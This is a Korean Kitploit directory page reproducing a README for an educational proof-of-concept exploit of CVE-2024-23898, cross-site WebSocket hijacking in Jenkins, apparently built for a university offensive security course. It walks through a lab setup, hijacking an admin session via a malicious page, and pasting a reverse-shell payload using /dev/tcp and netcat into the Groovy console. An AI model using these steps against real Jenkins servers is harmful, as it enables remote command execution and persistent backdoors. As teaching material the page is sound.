Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE2_Jenkins_RCE — CVE-2024-23898에 대한 개념 증명 크로스사이트 WebSocket 하이재킹 익스플로잇 — Jenkins 버전 2.217-2.441에 영향을 미치는 취약점. 카네기 멜론 대학교의 Hacking & Offensive Security 과정에서 교육용으로 사용됩니다. | Kitploit
도구/GitHubGitHub/davidmgaviria/cve2_jenkins_rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubdavidmgaviria/cve2_jenkins_rce

CVE2_Jenkins_RCE

CVE-2024-23898에 대한 개념 증명 크로스사이트 WebSocket 하이재킹 익스플로잇 — Jenkins 버전 2.217-2.441에 영향을 미치는 취약점. 카네기 멜론 대학교의 Hacking & Offensive Security 과정에서 교육용으로 사용됩니다.

저장소 보기
221년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Jenkins CLI Websocket 하이재킹 - PoC

CVE-2024-23898에 대한 개념 증명 교차 사이트 WebSocket 하이재킹 익스플로잇입니다. 이는 Jenkins 버전 2.217-2.441에 영향을 미치는 취약점입니다.

이 익스플로잇은 Jenkins CLI를 대상으로 하며, 이를 통해 원격으로 Jenkins 제어 서버에 접근하고 명령을 실행할 수 있습니다. 이 익스플로잇을 통해 원격 공격자는 관리자가 대상 Jenkins 제어 서버에 로그인한 상태에서 악성 사이트를 방문하도록 속임을 당할 경우, Jenkins 제어 서버에 대한 접근 권한을 획득하고 지속적인 백도어를 설정할 수 있습니다.


면책 조항

이 코드는 교육 목적으로만 제공되며, Carnegie Mellon University의 해킹 및 오펜시브 보안 과정에서만 사용하기 위한 것입니다. 이 코드는 무기화되거나 악성 코드 제작에 사용되어서는 안 됩니다. 저자는 그러한 시도를 명시적으로 반대합니다.


Jenkins 설정

  • "docker-compose build && docker-compose up -d"를 실행하세요.
  • http://localhost:8080으로 이동하면 관리자 비밀번호를 입력하라는 메시지가 표시됩니다.
  • Jenkins 도커 컨테이너에서 셸을 엽니다(POSTGRES가 아닌 것).
    • "docker exec -it <container_id> bash"
    • Jenkins 페이지에 표시된 디렉터리로 cd 명령을 사용하여 이동하고, 비밀번호를 획득하세요.
  • 기본 관리자 계정을 설정하고(비밀번호를 기억하세요) 기본 플러그인을 설치하세요. -익명 사용자에게 기본 권한을 부여하려면 Manage Jenkins > Security로 이동하세요.
    • 인증 유형을 "Matrix-based"로 설정하세요.
    • 익명 사용자가 "Overall" 및 "Job"을 읽을 수 있도록 허용하세요.

WebSocket 하이재킹 수행

  • Firefox를 열고 설정 > 보안 및 개인정보 보호로 이동하세요.
    • 브라우저 개인정보 보호를 사용자 정의로 설정하고 쿠키를 "끄기"로 전환하세요(이렇게 하면 Firefox가 모든 쿠키를 허용합니다).
  • Jenkins로 이동하여 관리자로 로그인하고, "로그인 유지"를 클릭했는지 확인하세요.
  • evilApp.py를 실행하고 http://localhost:5000으로 방문하세요.
  • 네트워크 탭으로 이동하여 새로고침을 누르세요.
  • "ws" 파일이 있는 패킷을 클릭하고 응답(Response) 탭으로 이동하면 "인증됨: admin"이라고 표시되는 것을 확인할 수 있습니다.
    • 또한 "Cookies"를 확인하여 remember-me 쿠키를 볼 수 있습니다.

리버스 셸 실행

  • 자신의 컴퓨터 터미널에서 nc -l <port_num> 명령어로 netcat 리스너를 시작하세요(<port_num>을 사용하지 않는 포트 번호로 바꾸세요).
  • Docker에서 인식하는 컴퓨터의 IP 주소를 확인해야 합니다. Mac에서는 ipconfig getifaddr en0 명령어로 찾을 수 있습니다.
  • Jenkins 서버가 실행 중이라고 가정하고, [http://localhost:8080/script](http://localhost:8080/script)로 이동하세요. 아직 로그인하지 않았다면 관리자 계정으로 로그인하세요.
  • 이 페이로드를 Groovy 스크립트 콘솔에 붙여넣고 실행하세요: ['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
  • netcat 리스너가 있는 터미널로 돌아가세요. Jenkins 서버의 파일 시스템에 있으며 관리자 사용자가 할 수 있는 모든 작업을 수행할 수 있습니다.
도구 다운로드